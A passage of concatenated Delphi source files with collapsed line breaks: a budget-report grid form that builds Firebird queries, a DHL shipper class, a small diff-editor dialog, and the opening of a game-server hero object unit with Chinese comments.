TcxGridDBBandedColumn; ChengeWorkperiodMenu: TPopupMenu; N3: TMenuItem; ViewLevel1DBColumn9: TcxGridDBColumn; ViewLevel1DBColumn10: TcxGridDBColumn; ViewLevel0DBColumn1: TcxGridDBColumn; OBJECT_TYPE_COL: TcxGridDBColumn; cxStyle58: TcxStyle; ViewLevel1DBColumn11: TcxGridDBColumn; cxCheckBox1: TcxCheckBox; cxButton3: TcxButton; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure ViewLevel8DBBandedColumn5StylesGetContentStyle( Sender: TcxCustomGridTableView; ARecord: TcxCustomGridRecord; AItem: TcxCustomGridTableItem; out AStyle: TcxStyle); procedure PrintButtonClick(Sender: TObject); procedure cxCheckBox1PropertiesChange(Sender: TObject); procedure cxButton1Click(Sender: TObject); procedure cxButton3Click(Sender: TObject); private { Private declarations } public constructor Create(AOwner:TComponent; DB_Handle:TISC_DB_HANDLE;id_smeta:Int64;date_beg:TdateTime;date_end:Tdatetime; Id_USER:Int64);overload; function getSQLTextForGroupPlanDetail(id_smeta:Int64;criteria1,criteria2,criteria3, criteria4:Integer;id_razd_st:int64;id_level:Integer):String; procedure doConfigureGroupDetailGrid(id_smeta:Int64); { Public declarations } end; implementation uses GlobalSpr, BaseTypes, cxGridViewData, frmReport1Chart, UGetAnalizeLevel; {$R *.dfm} constructor TfrmHtmlReport.Create(AOwner: TComponent; DB_Handle: TISC_DB_HANDLE; id_smeta:Int64; date_beg:TdateTime;date_end:TdateTime; Id_USER: Int64); var T:TfrmGetAnalizelevel; isQuit:Boolean; begin inherited Create(AOwner); isQuit:=true; T:=TfrmGetAnalizelevel.Create(self, DB_Handle); if T.ShowModal=mrYes then begin WorkDatabase.Handle:=DB_Handle; ReadTransaction.StartTransaction; doConfigureGroupDetailGrid(id_smeta); DataSet.SelectSQL.Text:=getSQLTextForGroupPlanDetail(id_smeta, Integer(T.Criteria1.checked), Integer(T.Criteria2.checked), Integer(T.Criteria3.checked), Integer(T.Criteria4.checked), T.id_razd_st, t.cxRadioGroup1.ItemIndex); DataSet.Open; ViewLevel8.ViewData.Expand(true); isQuit:=false; end; T.Free; if isQuit then PostMessage(self.Handle, WM_CLOSE,0,0); end; procedure TfrmHtmlReport.FormClose(Sender: TObject; var Action: TCloseAction); begin Action:=caFree; end; procedure TfrmHtmlReport.doConfigureGroupDetailGrid(id_smeta:Int64); var ArrColumns: array of TcxGridDBBandedColumn; i:Integer; D,M,Y:Word; SmTitleQuery:TpfibDataSet; D1:TDateTime; begin //Получаем информацию по периоду функционирования бюджета D1:=Now; Screen.Cursor:=crSQLWait; i:=0; while (i<=ViewLevel8.ColumnCount-1) do begin if TcxGridDBBandedColumn(ViewLevel8.Columns[i]).Position.BandIndex=1 then begin ViewLevel8.Columns[i].Free; i:=i-1; end else i:=i+1; end; SmTitleQuery:=TpfibDataSet.Create(self); SmTitleQuery.Database:=WorkDatabase; SmTitleQuery.Transaction:=ReadTransaction; SmTitleQuery.SelectSQL.Text:='SELECT * FROM BU_GET_SM_IN_PERIOD('+IntToStr(id_smeta)+','+''''+DateToStr(date)+''''+','+''''+DateToStr(date)+''''+')'; SmTitleQuery.Open; SmTitleQuery.FetchAll; SmTitleQuery.First; SetLength(ArrColumns,SmTitleQuery.RecordCount*2); ViewLevel8.Bands[1].Width:=SmTitleQuery.RecordCount*150; for i:=1 to SmTitleQuery.RecordCount do begin ArrColumns[i-1]:= ViewLevel8.CreateColumn; ArrColumns[i-1].HeaderAlignmentHorz:=taCenter; ArrColumns[i-1].PropertiesClass:=TcxTextEditProperties; TcxTextEditProperties(ArrColumns[i-1].Properties).Alignment.Vert:=taVCenter; ArrColumns[i-1].Position.BandIndex:=1; ArrColumns[i-1].Width:=150; ArrColumns[i-1].Styles.OnGetContentStyle:=ViewLevel8DBBandedColumn5StylesGetContentStyle; ArrColumns[i-1].Options.Filtering:=false; ArrColumns[i-1].DataBinding.FieldName:='SM_'+SmTitleQuery.FieldByName('id_plan').AsString; ArrColumns[i-1].Name:='SM_'+SmTitleQuery.FieldByName('id_plan').AsString; DecodeDate(D1,Y,M,D); ArrColumns[i-1].Caption:=SmTitleQuery.FieldByName('NOTE').AsString; ArrColumns[i]:= ViewLevel8.CreateColumn; ArrColumns[i].HeaderAlignmentHorz:=taCenter; ArrColumns[i].PropertiesClass:=TcxTextEditProperties; TcxTextEditProperties(ArrColumns[i].Properties).Alignment.Vert:=taVCenter; ArrColumns[i].Position.BandIndex:=1; ArrColumns[i].Width:=150; ArrColumns[i].Styles.OnGetContentStyle:=ViewLevel8DBBandedColumn5StylesGetContentStyle; ArrColumns[i].Options.Filtering:=false; ArrColumns[i].DataBinding.FieldName:='SM_'+SmTitleQuery.FieldByName('id_plan').AsString+'_percent'; ArrColumns[i].Name:='SM_'+SmTitleQuery.FieldByName('id_plan').AsString+'_percent'; ArrColumns[i].Caption:='%'; ArrColumns[i].Visible:=False; D1:=IncMonth(D1,1); with ViewLevel8.DataController.Summary.DefaultGroupSummaryItems.Add as TcxGridDBBandedTableSummaryItem do begin Column := ArrColumns[i-1]; FieldName:='SM_'+SmTitleQuery.FieldByName('id_plan').AsString+'_FC'; Kind := skSum; Format := '0.00;-0.00'; Position:=spFooter; end; SmTitleQuery.Next; end; SmTitleQuery.Close; SmTitleQuery.Free; Screen.Cursor:=crDefault; end; function TfrmHtmlReport.getSQLTextForGroupPlanDetail(id_smeta:Int64;criteria1,criteria2,criteria3, criteria4:Integer;id_razd_st:int64;id_level:integer): String; var i:Integer; SmTitleQuery:TpfibDataSet; ResStr:String; T:TfrmGetAnalizelevel; begin //Получаем информацию по бюджетам, которые входят в группу SmTitleQuery:=TpfibDataSet.Create(self); SmTitleQuery.Database:=WorkDatabase; SmTitleQuery.Transaction:=ReadTransaction; SmTitleQuery.SelectSQL.Text:='SELECT * FROM BU_GET_SM_IN_PERIOD('+IntToStr(id_smeta)+','+''''+DateToStr(date)+''''+','+''''+DateToStr(date)+''''+')'; SmTitleQuery.Open; SmTitleQuery.FetchAll; SmTitleQuery.First; ResStr:=' SELECT VAL.*, '; i:=1; while (i<SmTitleQuery.RecordCount) do begin ResStr:=ResStr+' ( SELECT PLAN_VALUE FROM BU_GET_PLAN_VALUE(VAL.SHOW_ID,'+SmTitleQuery.FieldByName('ID_PLAN').AsString+')) AS '+' SM_'+SmTitleQuery.FieldByName('id_plan').AsString; ResStr:=ResStr+' , '; ResStr:=ResStr+' ( SELECT PLAN_VALUE_FC FROM BU_GET_PLAN_VALUE(VAL.SHOW_ID,'+SmTitleQuery.FieldByName('ID_PLAN').AsString+')) AS '+' SM_'+SmTitleQuery.FieldByName('id_plan').AsString+'_FC'; ResStr:=ResStr+' , '; ResStr:=ResStr+' ( SELECT PLAN_VALUE_PERCENT FROM BU_GET_PLAN_VALUE(VAL.SHOW_ID,'+SmTitleQuery.FieldByName('ID_PLAN').AsString+')) AS '+' SM_'+SmTitleQuery.FieldByName('id_plan').AsString+'_percent'; ResStr:=ResStr+' , '; i:=i+1; SmTitleQuery.Next; end; ResStr:=ResStr+' ( SELECT PLAN_VALUE FROM BU_GET_PLAN_VALUE(VAL.SHOW_ID,'+SmTitleQuery.FieldByName('ID_PLAN').AsString+')) AS '+' SM_'+SmTitleQuery.FieldByName('id_plan').AsString+' , '; ResStr:=ResStr+' ( SELECT PLAN_VALUE_FC FROM BU_GET_PLAN_VALUE(VAL.SHOW_ID,'+SmTitleQuery.FieldByName('ID_PLAN').AsString+')) AS '+' SM_'+SmTitleQuery.FieldByName('id_plan').AsString+'_FC'+' , '; ResStr:=ResStr+' ( SELECT PLAN_VALUE_PERCENT FROM BU_GET_PLAN_VALUE(VAL.SHOW_ID,'+SmTitleQuery.FieldByName('ID_PLAN').AsString+')) AS '+' SM_'+SmTitleQuery.FieldByName('id_plan').AsString+'_percent'; ResStr:=ResStr+' FROM BU_GET_BUDGET_STRU_BY_PERIOD('+IntToStr(id_smeta)+','+ ''''+DateToStr(date)+''''+','+ ''''+DateToStr(date)+''''+','+ IntToStr(criteria1)+','+ IntToStr(criteria2)+','+ IntToStr(criteria3)+','+ IntToStr(criteria4)+','+ IntToStr(id_razd_st)+','+ IntToStr(id_level)+ ') val order by show_position'; Result:=ResStr; end; procedure TfrmHtmlReport.ViewLevel8DBBandedColumn5StylesGetContentStyle( Sender: TcxCustomGridTableView; ARecord: TcxCustomGridRecord; AItem: TcxCustomGridTableItem; out AStyle: TcxStyle); begin if (ARecord.Values[2]=1) then AStyle:=ST_STYLE; if (ARecord.Values[2]=0) then AStyle:=RAZD_STYLE; end; procedure TfrmHtmlReport.PrintButtonClick(Sender: TObject); begin with TfrmReport1Diagram.Create(self,DataSet) do begin Showmodal; free; end; end; procedure TfrmHtmlReport.cxCheckBox1PropertiesChange(Sender: TObject); var i:Integer; begin if cxCheckBox1.Checked then begin ViewLevel8.Bands[1].Width:=ViewLevel8.Bands[1].Width*2; for i:=0 to ViewLevel8.ColumnCount-1 do begin if not ViewLevel8.Columns[i].Visible and (Pos('_percent',ViewLevel8.Columns[i].Name)>0) then ViewLevel8.Columns[i].Visible:=true; end; end else begin ViewLevel8.Bands[1].Width:=ViewLevel8.Bands[1].Width div 2; for i:=0 to ViewLevel8.ColumnCount-1 do begin if ViewLevel8.Columns[i].Visible and (Pos('_percent',ViewLevel8.Columns[i].Name)>0) then ViewLevel8.Columns[i].Visible:=false; end; end; end; procedure TfrmHtmlReport.cxButton1Click(Sender: TObject); begin Close; end; procedure TfrmHtmlReport.cxButton3Click(Sender: TObject); begin shellexecute(Handle, 'Open', PAnsiChar(ExtractFilePath(Application.ExeName)+'HELP\SAMPLE.chm'), nil, nil, SW_RESTORE); end; end.
unit Objekt.DHLShipper; interface uses SysUtils, Classes, geschaeftskundenversand_api_2, Objekt.DHLNameType, Objekt.DHLNativeAdress, Objekt.DHLCommunication; type TDHLShipper = class private fShipperTypeAPI: ShipperType; fName: TDHLNameType; fAdress: TDHLNativeAdress; fCommunication: TDHLCommunication; public constructor Create; destructor Destroy; override; function ShipperTypeAPI: ShipperType; property Name: TDHLNameType read fName write fName; property Adress: TDHLNativeAdress read fAdress write fAdress; property Communication: TDHLCommunication read fCommunication write fCommunication; procedure Copy(aShipper: TDHLShipper); end; implementation { TDHLShipper } constructor TDHLShipper.Create; begin fName := TDHLNameType.Create; fAdress := TDHLNativeAdress.Create; fCommunication := TDHLCommunication.Create; fShipperTypeAPI := ShipperType.Create; fShipperTypeAPI.Name_ := fName.NameTypeAPI; fShipperTypeAPI.Address := fAdress.NativeAdressTypeAPI; fShipperTypeAPI.Communication := fCommunication.CommunicationTypeAPI; //fShipperTypeAPI.Addres end; destructor TDHLShipper.Destroy; begin FreeAndNil(fName); FreeAndNil(fAdress); FreeAndNil(fCommunication); //FreeAndNil(fShipperTypeAPI); inherited; end; function TDHLShipper.ShipperTypeAPI: ShipperType; begin Result := fShipperTypeAPI; end; procedure TDHLShipper.Copy(aShipper: TDHLShipper); begin fName.Copy(aShipper.Name); fAdress.Copy(aShipper.Adress); fCommunication.Copy(aShipper.Communication); end; end.
unit M_diff; interface uses WinTypes, WinProcs, Classes, Graphics, Forms, Controls, Buttons, StdCtrls, ExtCtrls; type TDIFFEditor = class(TForm) Label1: TLabel; Label2: TLabel; Label3: TLabel; Panel1: TPanel; SBCommit: TSpeedButton; SBRollback: TSpeedButton; RGDiff: TListBox; SBHelp: TSpeedButton; procedure FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState); procedure SBCommitClick(Sender: TObject); procedure SBRollbackClick(Sender: TObject); procedure SBHelpClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var DIFFEditor: TDIFFEditor; implementation {$R *.DFM} procedure TDIFFEditor.FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Shift = [] then Case Key of VK_F1 : Application.HelpJump('wdfuse_help_secondary'); VK_F2, VK_RETURN : DiffEditor.ModalResult := mrOk; VK_ESCAPE : DiffEditor.ModalResult := mrCancel; end; end; procedure TDIFFEditor.SBCommitClick(Sender: TObject); begin DiffEditor.ModalResult := mrOk; end; procedure TDIFFEditor.SBRollbackClick(Sender: TObject); begin DiffEditor.ModalResult := mrCancel; end; procedure TDIFFEditor.SBHelpClick(Sender: TObject); begin Application.HelpJump('wdfuse_help_secondary'); end; end.
{------------------------------------------------------------------------------} { 单元名称: ObjHero.pas } { } { 单元作者: Mars } { 创建日期: 2007-02-12 20:30:00 } { } { 功能介绍: 实现英雄功能单元 } {------------------------------------------------------------------------------} unit ObjHero; interface uses Windows, SysUtils, Classes, Grobal2, ObjBase, Castle; type THeroObject = class(TBaseObject) m_dwDoMotaeboTick: LongWord; //野蛮冲撞间隔 20080529 m_dwThinkTick: LongWord; m_boDupMode: Boolean; //人物重叠了 //m_nNotProcessCount: Integer;//未使用 20080329 m_nTargetX: Integer;//目标坐标X m_nTargetY: Integer;//目标坐标Y m_boRunAwayMode: Boolean; //运行远离模式 m_dwRunAwayStart: LongWord; m_dwRunAwayTime: LongWord; //m_boCanPickUpItem: Boolean;//能捡起物品 //20080428 注释 //m_boSlavePickUpItem: Boolean; m_dwPickUpItemTick: LongWord;//捡起物品间隔 //m_boIsPickUpItem: Boolean;//20080428 注释 //m_nPickUpItemMakeIndex: Integer;//20080428 注释 m_SelMapItem: PTMapItem; m_wHitMode: Word;//攻击方式 m_btOldDir: Byte; m_dwActionTick: LongWord;//动作间隔 m_wOldIdent: Word; m_dwTurnIntervalTime: LongWord;//转动间隔时间 m_dwMagicHitIntervalTime: LongWord;//魔法打击间隔时间 //m_dwHitIntervalTime: LongWord;//打击间隔时间(未使用 20080510) m_dwRunIntervalTime: LongWord;//跑间隔时间 m_dwWalkIntervalTime: LongWord;//走间隔时间 m_dwActionIntervalTime: LongWord;//动作间隔时间 m_dwRunLongHitIntervalTime: LongWord;//运行长攻间隔时间 m_dwWalkHitIntervalTime: LongWord;//走动攻击间隔时间 m_dwRunHitIntervalTime: LongWord;//跑攻击间隔时间 m_dwRunMagicIntervalTime: LongWord;//跑魔法间隔时间 m_nDieDropUseItemRate: Integer; //死亡掉装备几率 m_SkillUseTick: array[0..80 - 1] of LongWord; //魔法使用间隔 m_nItemBagCount: Integer;//包裹容量 m_btStatus: Byte; //状态 0-攻击 1-跟随 2-休息 m_boProtectStatus: Boolean;//是否是守护状态 m_boProtectOK: Boolean;//到达守护坐标 20080603 m_boTarget: Boolean; //是否锁定目标 m_nProtectTargetX, m_nProtectTargetY: Integer; //守护坐标 m_dwAutoAvoidTick: LongWord;//自动躲避间隔 m_boIsNeedAvoid: Boolean;//是否需要躲避 m_dwEatItemNoHintTick: LongWord;//英雄没药提示时间间隔 20080129 m_dwEatItemTick: LongWord;//吃普通药间隔 m_dwEatItemTick1: LongWord;//吃特殊药间隔 20080910 m_dwSearchIsPickUpItemTick: LongWord;//搜索可捡起的物品间隔 m_dwSearchIsPickUpItemTime: LongWord;//搜索可捡起的物品时间 m_boCanDrop: Boolean;//是否允许拿下 m_boCanUseItem: Boolean; //是否允许使用物品 m_boCanWalk: Boolean;//是否允许走 m_boCanRun: Boolean;//是否允许跑 m_boCanHit: Boolean;//是否允许打击 m_boCanSpell: Boolean;//是否允许魔法 m_boCanSendMsg: Boolean;//是否允许发送信息 m_btReLevel: Byte; //转生等级 m_btCreditPoint: Integer;//声望点 20080118 m_nMemberType: Integer; //会员类型 m_nMemberLevel: Integer;//会员等级 m_nKillMonExpRate: Integer; //杀怪经验百分率(此数除以 100 为真正倍数) m_nOldKillMonExpRate: Integer;//没使用套装前杀怪经验倍数 20080522 m_dwMagicAttackInterval: LongWord;//魔法攻击间隔时间(Dword) m_dwMagicAttackTick: LongWord;//魔法攻击时间(Dword) m_dwMagicAttackCount: LongWord; //魔法攻击计数(Dword) 20080510 //m_dwSearchMagic: LongWord; //搜索魔法间隔 没有使用 m_nSelectMagic: Integer;//查询魔法 m_boIsUseMagic: Boolean;//是否可以使用的魔法(True才可能躲避) 20080714 m_boIsUseAttackMagic: Boolean;//是否可以使用的攻击魔法 m_btLastDirection: Byte;//最后的方向 m_wLastHP: Word;//最后的HP值 m_nPickUpItemPosition: Integer;//可捡起物品的位置 m_nFirDragonPoint: Integer;//英雄怒气值 m_dwAddFirDragonTick: LongWord;//增加英雄怒气值的间隔 m_boStartUseSpell: Boolean;//是否开始使用合击 m_boDecDragonPoint:Boolean;//开始减怒气 20080418 // m_nStartUseSpell: Integer; m_dwStartUseSpellTick: LongWord;//使用合击的间隔 m_boNewHuman: Boolean;//是否为新人物 m_nLoyal:Integer;//英雄的忠诚度(20080110) m_dwCheckNoHintTick: LongWord;//英雄没毒符提示时间间隔 20080328 n_AmuletIndx: Byte;//绿红毒标识 20080412 n_HeroTpye: Byte;//英雄类型 0-白日门英雄 1-卧龙英雄 20080514 m_dwDedingUseTick: LongWord;//地钉使用间隔 20080524 boCallLogOut: Boolean;//是否被召唤回去 20080605 m_dwAddAlcoholTick: LongWord;//增加酒量进度的间隔 20080623 m_dwDecWineDrinkValueTick: LongWord;//减少醉酒度的间隔 20080623 n_DrinkWineQuality: Byte;//饮酒时酒的品质 20080623 n_DrinkWineAlcohol: Byte;//饮酒时酒的度数 20080624 n_DrinkWineDrunk: Boolean;//喝酒醉了 20080623 dw_UseMedicineTime: Integer; //使用药酒时间,计算长时间没使用药酒 20080623 n_MedicineLevel: Word; //药力值等级 20080623 dwRockAddHPTick: LongWord;//魔血石类HP 使用间隔 20080728 dwRockAddMPTick: LongWord;//魔血石类MP 使用间隔 20080728 m_Exp68: LongWord;//酒气护体当前经验 20080925 m_MaxExp68: LongWord;//酒气护体升级经验 20080925 boAutoOpenDefence: Boolean;//自动开启魔法盾 20080930 m_boTrainingNG: Boolean;//是否学习过内功 20081002 m_NGLevel: Byte;//内功等级 20081002 m_ExpSkill69: LongWord;//内功心法当前经验 20080930 m_MaxExpSkill69: LongWord;//内功心法升级经验 20080930 m_Skill69NH: Word;//当前内力值 20080930 m_Skill69MaxNH: Word;//最大内力值 20080930 m_dwIncNHTick: LongWord;//增加内力值计时 20081002 m_Magic46Skill: pTUserMagic; //分身术 20081217 m_MagicSkill_200: pTUserMagic;//怒之攻杀 m_MagicSkill_201: pTUserMagic;//静之攻杀 m_MagicSkill_202: pTUserMagic;//怒之半月 m_MagicSkill_203: pTUserMagic;//静之半月 m_MagicSkill_204: pTUserMagic;//怒之烈火 m_MagicSkill_205: pTUserMagic;//静之烈火 m_MagicSkill_206: pTUserMagic;//怒之逐日 m_MagicSkill_207: pTUserMagic;//静之逐日 m_MagicSkill_208: pTUserMagic;//怒之火球 m_MagicSkill_209: pTUserMagic;//静之火球 m_MagicSkill_210: pTUserMagic;//怒之大火球 m_MagicSkill_211: pTUserMagic;//静之大火球 m_MagicSkill_212: pTUserMagic;//怒之火墙 m_MagicSkill_213: pTUserMagic;//静之火墙 m_MagicSkill_214: pTUserMagic;//怒之地狱火 m_MagicSkill_215: pTUserMagic;//静之地狱火 m_MagicSkill_216: pTUserMagic;//怒之疾光电影 m_MagicSkill_217: pTUserMagic;//静之疾光电影 m_MagicSkill_218: pTUserMagic;//怒之爆裂火焰 m_MagicSkill_219: pTUserMagic;//静之爆裂火焰 m_MagicSkill_220: pTUserMagic;//怒之冰咆哮 m_MagicSkill_221: pTUserMagic;//静之冰咆哮 m_MagicSkill_222: pTUserMagic;//怒之雷电 m_MagicSkill_223: pTUserMagic;//静之雷电 m_MagicSkill_224: pTUserMagic;//怒之地狱雷光 m_MagicSkill_225: pTUserMagic;//静之地狱雷光 m_MagicSkill_226: pTUserMagic;//怒之寒冰掌 m_MagicSkill_227: pTUserMagic;//静之寒冰掌 m_MagicSkill_228: pTUserMagic;//怒之灭天火 m_MagicSkill_229: pTUserMagic;//静之灭天火 m_MagicSkill_230: pTUserMagic;//怒之火符 m_MagicSkill_231: pTUserMagic;//静之火符 m_MagicSkill_232: pTUserMagic;//怒之噬血 m_MagicSkill_233: pTUserMagic;//静之噬血 m_MagicSkill_234: pTUserMagic;//怒之流星火雨 m_MagicSkill_235: pTUserMagic;//静之流星火雨 m_MagicSkill_236: pTUserMagic;//怒之内功剑法 m_MagicSkill_237: pTUserMagic;//静之内功剑法 m_GetExp: LongWord;//人物取得的经验,$GetExp变量使用 20081228 m_AvoidHp: Word;//躲闪血量 20081225 m_boCrazyProtection: Boolean;//怪物狂化保护 20081225 private function Think: Boolean; function SearchPickUpItem(nPickUpTime: Integer): Boolean; //捡物品 procedure EatMedicine();//吃药 function AutoEatUseItems(btItemType: Byte): Boolean; //自动吃药 function WarrAttackTarget(wHitMode: Word): Boolean; {物理攻击} function WarrorAttackTarget(): Boolean; {战士攻击} function WizardAttackTarget(): Boolean; {法师攻击} function TaoistAttackTarget(): Boolean; {道士攻击} // function CompareHP(BaseObject1, BaseObject2: TBaseObject): Boolean;//比较HP值 20080117 // function CompareLevel(BaseObject1, BaseObject2: TBaseObject): Boolean;//比较等级 20080117 // function CompareXY(BaseObject1, BaseObject2: TBaseObject): Boolean;//比较XY值 20080117 function EatUseItems(nShape: Integer): Boolean;//使用的物品 function AutoAvoid(): Boolean; //自动躲避 function SearchIsPickUpItem(): Boolean;//是否可以捡的物品 // function IsPickUpItem(StdItem: pTStdItem): Boolean; 20080117 function IsNeedAvoid(): Boolean; //是否需要躲避 function CheckUserMagic(wMagIdx: Word): pTUserMagic;//检查使用魔法 function CheckTargetXYCount(nX, nY, nRange: Integer): Integer; function CheckTargetXYCount1(nX, nY, nRange: Integer): Integer;//战士判断目标使用 20080924 function CheckTargetXYCount2(): Integer;//半月弯刀判断目标函数 20081207 function GotoTargetXYRange(): Boolean; function GetUserItemList(nItemType: Integer; nItemShape: Integer): Integer; function UseItem(nItemType, nIndex: Integer; nItemShape: Integer): Boolean; function CheckUserItemType(nItemType: Integer; nItemShape: Integer): Boolean; function CheckItemType(nItemType: Integer; StdItem: pTStdItem; nItemShape: Integer): Boolean; function CheckTargetXYCountOfDirection(nX, nY, nDir, nRange: Integer): Integer;{检测指定方向和范围内坐标的怪物数量} function CheckMasterXYOfDirection(TargeTBaseObject: TBaseObject;nX, nY, nDir, nRange: Integer): Integer;{检测指定方向和范围内,主人与英雄的距离 20080204} procedure SearchMagic(); //搜索魔法 function SelectMagic(): Integer; //选择魔法 //function IsUseMagic(): Boolean; //检测是否可以使用保护魔法 未使用 20080412 function IsUseAttackMagic(): Boolean; function IsSearchTarget: Boolean; function CheckActionStatus(wIdent: Word; var dwDelayTime: LongWord): Boolean; //检查动作的状态 //function GetSpellMsgCount: Integer;//取攻击消息数量 function DoMotaebo(nDir: Byte; nMagicLevel: Integer): Boolean; function CallMobeItem(): Boolean;//召唤强化卷,把招出的宝宝变成7级 20080329 procedure RepairAllItem(DureCount: Integer; boDec: Boolean);//全部修复 Function RepairAllItemDura:Integer;//全部修复,需要的持久值 20080325 function GetTogetherUseSpell: Integer; Function CheckHeroAmulet(nType: Integer; nCount: Integer):Boolean; //判断道英雄毒符是否用完,提示用户 20080401 function UseStdmodeFunItem(StdItem: pTStdItem): Boolean;//英雄使用物品触发 20080728 procedure PlaySuperRock;//气血石功能 20080729 function MagMakeHPUp(UserMagic: pTUserMagic): Boolean;//酒气护体 20080925 procedure RecalcAdjusBonus();//刷新英雄永久属性能20081126 public constructor Create(); override; destructor Destroy; override; function Operate(ProcessMsg: pTProcessMessage): Boolean; override;//处理消息 function AttackTarget(): Boolean;//进攻目标 function CheckTakeOnItems(nWhere: Integer; var StdItem: TStdItem): Boolean; function IsEnoughBag(): Boolean; procedure RecalcAbilitys; override; procedure Run; override; procedure Die; override; function GetShowName(): string; override; procedure ItemDamageRevivalRing(); procedure DoDamageWeapon(nWeaponDamage: Integer); procedure StruckDamage(nDamage: Integer);override;//增加override;重载过程 20080607 function IsAllowUseMagic(wMagIdx: Word): Boolean; procedure SearchTarget(); procedure DelTargetCreat(); override; procedure SetTargetXY(nX, nY: Integer); virtual; function WalkToTargetXY2(nTargetX, nTargetY: Integer): Boolean; function WalkToTargetXY(nTargetX, nTargetY: Integer): Boolean; function RunToTargetXY(nTargetX, nTargetY: Integer): Boolean; function GetGotoXY(BaseObject: TBaseObject; nCode:Byte): Boolean; function GotoTargetXY(nTargetX, nTargetY, nCode: Integer): Boolean; procedure Wondering(); virtual; procedure Attack(TargeTBaseObject: TBaseObject; nDir: Integer); virtual; //进攻 procedure Struck(hiter: TBaseObject); virtual; procedure ClientQueryBagItems(); function FindMagic(wMagIdx: Word): pTUserMagic;//查找魔法 procedure RefMyStatus(); function AddItemToBag(UserItem: pTUserItem): Boolean; procedure WeightChanged; function ReadBook(StdItem: pTStdItem): Boolean; function EatItems(StdItem: pTStdItem): Boolean; procedure SysMsg(sMsg: string; MsgColor: TMsgColor; MsgType: TMsgType); procedure SendSocket(DefMsg: pTDefaultMessage; sMsg: string); procedure SendDefMessage(wIdent: Word; nRecog: Integer; nParam, nTag, nSeries: Word; sMsg: string); procedure SendMsg(BaseObject: TBaseObject; wIdent, wParam: Word; nParam1, nParam2, nParam3: Integer; sMsg: string); procedure SendUpdateMsg(BaseObject: TBaseObject; wIdent, wParam: Word; lParam1, lParam2, lParam3: Integer; sMsg: string); procedure SendDelayMsg(BaseObject: TBaseObject; wIdent, wParam: Word; lParam1, lParam2, lParam3: Integer; sMsg: string; dwDelay: LongWord); procedure SendUpdateDelayMsg(BaseObject: TBaseObject; wIdent, wParam: Word; lParam1, lParam2, lParam3: Integer; sMsg: string; dwDelay: LongWord); procedure SendChangeItems(nWhere1, nWhere2: Integer; UserItem1, UserItem2: pTUserItem); procedure SendUseitems(); procedure SendUseMagic(); procedure SendDelMagic(UserMagic: pTUserMagic); procedure SendAddMagic(UserMagic: pTUserMagic); procedure SendAddItem(UserItem: pTUserItem); procedure SendDelItemList(ItemList: TStringList); procedure SendDelItems(UserItem: pTUserItem); procedure SendUpdateItem(UserItem: pTUserItem); procedure ClientHeroUseItems(nItemIdx: Integer; sItemName: string); //英雄吃药 procedure GetBagItemCount; procedure MakeWeaponUnlock; function WeaptonMakeLuck: Boolean; function RepairWeapon: Boolean; function SuperRepairWeapon: Boolean; procedure GetNGExp(dwExp: LongWord; Code: Byte);//取得内力经验 20081001 procedure GetExp(dwExp: LongWord);//取得经验 procedure WinExp(dwExp: LongWord); procedure GainExp(dwExp: LongWord); function AbilityUp(UserMagic: pTUserMagic): Boolean; function ClientSpellXY(UserMagic: pTUserMagic; nTargetX, nTargetY: Integer; TargeTBaseObject: TBaseObject): Boolean; function ClientDropItem(sItemName: string; nItemIdx: Integer): Boolean; function DoSpell(UserMagic: pTUserMagic; nTargetX, nTargetY: Integer; BaseObject: TBaseObject): Boolean; function FindTogetherMagic: pTUserMagic; function WearFirDragon: Boolean; procedure RepairFirDragon(btType: Byte; nItemIdx: Integer; sItemName: string);//修补火龙之心 procedure MakeSaveRcd(var HumanRcd: THumDataInfo); procedure Login(); function LevelUpFunc: Boolean;//英雄升级触发 20080423 function IsNeedGotoXY(): Boolean; //是否走向目标 procedure ChangeHeroMagicKey(nSkillIdx, nKey: Integer);//设置英雄魔法开关 20080606 procedure ClearCopyItem(wIndex, MakeIndex: Integer);//清理英雄包裹复制品 20080901 function GetSpellPoint(UserMagic: pTUserMagic): Integer;//取使用魔法所需的MP值 procedure NGMAGIC_LVEXP(UserMagic: pTUserMagic);//内功技能升级 20081003 function CheckItemBindDieNoDrop(UserItem: pTUserItem): Boolean;//检查人物装备死亡物品是否爆 20081127 end; implementation uses UsrEngn, M2Share, Event, Envir, Magic, HUtil32, EDcode,PlugOfEngine; { THeroObject } constructor THeroObject.Create; begin inherited; boCallLogOut:= False; m_btRaceServer := RC_HEROOBJECT; m_boDupMode := False; m_dwThinkTick := GetTickCount(); m_nViewRange := 12; m_nRunTime := 250; m_dwSearchTick := GetTickCount(); m_nCopyHumanLevel := 3; //m_nNotProcessCount := 0;//未使用 20080329 m_nTargetX := -1; dwTick3F4 := GetTickCount(); m_btNameColor := g_Config.nHeroNameColor{6};//名字的颜色 20080315 m_boFixedHideMode := True; //m_dwHitIntervalTime := g_Config.dwHitIntervalTime; //攻击间隔 m_dwMagicHitIntervalTime := g_Config.dwMagicHitIntervalTime; //英雄魔法攻击间隔{没有使用 20080217} //m_dwRunIntervalTime := g_Config.dwHeroRunIntervalTime;//英雄跑步间隔 20080213 //m_dwRunIntervalTime := g_Config.dwRunIntervalTime; //英雄跑步间隔 20080329 m_dwRunIntervalTime := GetTickCount();//20080925 修改 { case m_btJob of //20080222 根据英雄职业而设置跑步间隔 0: m_dwRunIntervalTime := g_Config.dwHeroRunIntervalTime;//英雄跑步间隔 1: m_dwRunIntervalTime := g_Config.dwHeroRunIntervalTime1;//英雄跑步间隔 2: m_dwRunIntervalTime := g_Config.dwHeroRunIntervalTime2;//英雄跑步间隔 end; } m_dwWalkIntervalTime := g_Config.dwHeroWalkIntervalTime; //英雄走路间隔 20080213 m_dwTurnIntervalTime := g_Config.dwHeroTurnIntervalTime; //英雄换方向间隔 20080213 m_dwActionIntervalTime := g_Config.dwActionIntervalTime; //组合操作间隔 m_dwRunLongHitIntervalTime := g_Config.dwRunLongHitIntervalTime; //组合操作间隔 m_dwRunHitIntervalTime := g_Config.dwRunHitIntervalTime; //组合操作间隔 m_dwWalkHitIntervalTime := g_Config.dwWalkHitIntervalTime; //组合操作间隔 m_dwRunMagicIntervalTime := g_Config.dwRunMagicIntervalTime; //跑位魔法间隔 m_dwHitTick := GetTickCount - LongWord(Random(3000)); m_dwWalkTick := GetTickCount - LongWord(Random(3000)); m_nWalkSpeed := 350;//20081005 原为300 m_nWalkStep := 10; m_dwWalkWait := 0; m_dwSearchEnemyTick := GetTickCount(); m_boRunAwayMode := False; 